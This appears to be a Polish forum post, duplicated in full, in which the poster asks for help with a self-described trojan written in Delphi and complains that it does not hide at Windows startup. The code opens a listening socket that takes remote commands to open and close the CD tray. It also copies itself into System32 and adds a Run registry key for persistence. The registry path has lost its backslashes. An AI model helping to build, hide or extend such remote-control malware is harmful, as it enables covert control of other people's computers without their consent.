mam taki problem (z serwerem mojego trojana)
napisalem go z pomoca poradnika slaya, tylko ze mam taki problem ze on przy starcie windows nie ukrywa sie, musi byc caly czas wlaczony zeby dzialal;/
***********************************************************
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, shellapi, mmsystem, registry, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then
begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
end;
if (s='close') then
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg:tregistry;
begin
Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode := 0
end;
end.
*******************************************************
pomóżcie :-x
napisalem go z pomoca poradnika slaya, tylko ze mam taki problem ze on przy starcie windows nie ukrywa sie, musi byc caly czas wlaczony zeby dzialal;/
***********************************************************
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, shellapi, mmsystem, registry, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=serversocket1.Socket.Connections[0].ReceiveText;
if (s='cdopen') then
begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
end;
if (s='close') then
begin //
mciSendString('Set cdaudio door closed wait',nil,0,handle);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg:tregistry;
begin
Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode := 0
end;
end.
*******************************************************
pomóżcie :-x